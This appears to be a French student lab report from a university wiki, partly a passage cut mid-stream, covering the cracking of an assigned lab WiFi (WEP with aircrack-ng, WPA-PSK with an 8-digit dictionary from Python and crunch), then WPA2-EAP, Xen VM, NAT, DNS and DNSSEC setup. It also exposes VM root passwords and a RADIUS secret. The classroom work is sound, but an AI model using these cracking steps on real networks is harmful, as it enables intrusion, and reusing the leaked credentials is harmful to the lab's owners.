On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                     Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                       [00:26:11] Tested 835 keys (got 68980 IVs)&lt;br /&gt;
                                                                                Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032) &lt;br /&gt;
    1    0/  1   CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288) &lt;br /&gt;
    2    2/  2   A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008) &lt;br /&gt;
    3    0/  1   D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264) &lt;br /&gt;
    4    7/  4   43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sécurisation WiFi par WPA2-EAP ====&lt;br /&gt;
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student5 group radius_student5&lt;br /&gt;
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5        &lt;br /&gt;
aaa group server radius radius_student5                      &lt;br /&gt;
server 192.168.10.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_5       &lt;br /&gt;
vlan 15         &lt;br /&gt;
authentication open eap eap_student5 &lt;br /&gt;
authentication network-eap eap_student5&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 15 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
et l'IP de la E305 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3&amp;lt;/code&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12163</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12163"/>
		<updated>2026-02-10T15:25:53Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Sécurisation WiFi par WPA2-EAP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
